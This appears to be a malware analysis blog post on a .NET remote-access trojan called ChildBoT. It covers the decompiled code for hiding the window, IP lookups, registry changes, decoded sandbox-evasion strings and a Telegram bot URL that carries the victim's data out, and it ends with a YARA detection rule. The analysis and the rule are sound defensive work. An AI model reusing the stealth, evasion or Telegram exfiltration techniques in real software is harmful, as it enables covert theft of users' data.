Post

ChildBoT Analysis

ChildBoT Analysis

Analysis

1
2
MD5:30705266725F9BAD60EA12821ACF740A
SHA256: D60BB69DA27799D822608902C59373611C18920C77887DE7489D289EBF2BD53E

Virus Total

  • At VirusTotal.com, 40 out of 69 engines for AV detection mark the software as malicious.

image

CFF explorer

  • I ran CFF explorer on the executable file to find that it is a .NET framework executable.

image

  • Let’s fire it up inside a VM and see its activity:

ProcMonitor

image

Task Manager

image

  • I used dnSpy 32-bit version to decompile the executable file to get the csharp code of the file.

image

  • First of all , the malware is as usual trying to hide itself from the user hiding its window as well as not making itself visible on the taskbar using:
1
2
3
4
	base.Hide();
	base.WindowState = FormWindowState.Minimized;
	base.FormBorderStyle = FormBorderStyle.None;
	base.ShowInTaskbar = false;
  • Here I first find the HttpRequest function which is trying to access an unknown host server:
1
http://icanhazip.com
  • I sent requests to this server only to get an IP-Address:

image

  • This function is trying to access the windows registry keys and modifying them

image

  • Registry keys acessed and modified to:
1
SOFTWARE\WOW6432Node\Clients\StartMenuInternet =>SOFTWARE\Clients\StartMenuInternet
  • The malware tries to find the string あใはさまゆさปありねひむよとよฃยねปむ inside the XML documents using the XMLParser.

  • The malware is sending a GET request to the host: https://api.telegram.org/bot/sendMessage?chat_id=<chat_id>&text=<Victim's_Data>

image

  • The malware also tries to capture the keyboard and display control using SQL Queries inside the Registy Key Editor:

image

The base64 string decodes to :

1
Select * from Win32_Keyboard
  • This function tries to make a GET request on:
1
http://ipinfo.io/ip

image

and is splitting and trimming all the data received by it to get the data in raw format.

  • The data received at this host address is another IP-Address:
1
122.176.193.234
  • The function fn_check_activity checks all the results of the functions trying to get the info about the victim’s system and use SQLite.Interop.dll for this.

image

  • It tries to find some strings inside the Registry Keys Editor in Windows system in order to modify them in favour of the attacker:
1
2
Microsoft Edge
IEXPLORE.EXE
  • During my analysis I came up to witness some base64 encoded strings that were being sent to the server after some basic checks on the local system of the victim.
    1
    2
    3
    4
    5
    6
    
    4puU77iPIERFVEVDVCBWTSxTQU5CT1g6 : {⛔️ DETECT VM,SANBOX:} 
    VG8gY29udGludWUgcGxlYXNlIHdyaXRlIHRoZSBjb250ZW50OiBbSFdJRF0tU0tJUCBWTSBPciDinYwgRXhpdCAgOltIV0lEXS1FWElU : {To continue please write the content: [HWID]-SKIP VM Or ❌ Exit  :[HWID]-EXIT}
    V2UgYXJlIHN0aWxsIGFjdGl2ZSB1bnRpbCB2aWN0aW1lIHNodXRzIGRvd24h : {We are still active until victime shuts down!}
     LSBNYXliZSBWTSxTYW5ib3g= : - Maybe VM,Sanbox
     LUVYSVQ= : {-EXIT}
     4p2MRVhJVCBTVUNDRVNT : {❌EXIT SUCCESS}
    
  • This function makes a GET request to ` https://api.telegram.org/bot ` and try to give a form of data to a telegram bot.

image

  • However if the chat_id is not known.
1
{"ok":false,"error_code":404,"description":"Not Found"}
  • The malware is using FNV hashing algorithm to hash the strings inside the malware

image

  • This string is added to access the updates as got by the bot from the web server where the bot is working: https://api.telegram.org/bot/getUpdates

It is a RAT which is doing various malicious activities like:

  • Modifying Windows Registry keys
  • GET Requests to unknown malicious websites.
  • Setting up a Telegram Bot to update send the victim’s private data and update it regularly.

Yara Rules:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
rule base64_string{
meta:
	desc = "base64 strings found decrypted."
	weight = 7
strings:
	$b1 = "SUVYUExPUkUuRVhF"
	$b2 = "TWljcm9zb2Z0IEVkZ2U="
	$b3 = "4p2MRVhJVCBTVUNDRVNT"
	$b4 = "LUVYSVQ="
	$b5 = "LSBNYXliZSBWTSxTYW5ib3g="
	$b6 = "VG8gY29udGludWUgcGxlYXNlIHdyaXRlIHRoZSBjb250ZW50OiBbSFdJRF0tU0tJUCBWTSBPciDinYwgRXhpdCAgOltIV0lEXS1FWElU"
	$b7 = "V2UgYXJlIHN0aWxsIGFjdGl2ZSB1bnRpbCB2aWN0aW1lIHNodXRzIGRvd24h"
	$b8 = "4puU77iPIERFVEVDVCBWTSxTQU5CT1g6"
	$b9 = "aHR0cDovL2lwaW5mby5pby9pcA=="
conditions:
	$b1 and $b2 and $b3 and $b4 and $b5 and $b6 and $b7 and $b8 and $b9
}
This post is licensed under CC BY 4.0 by the author.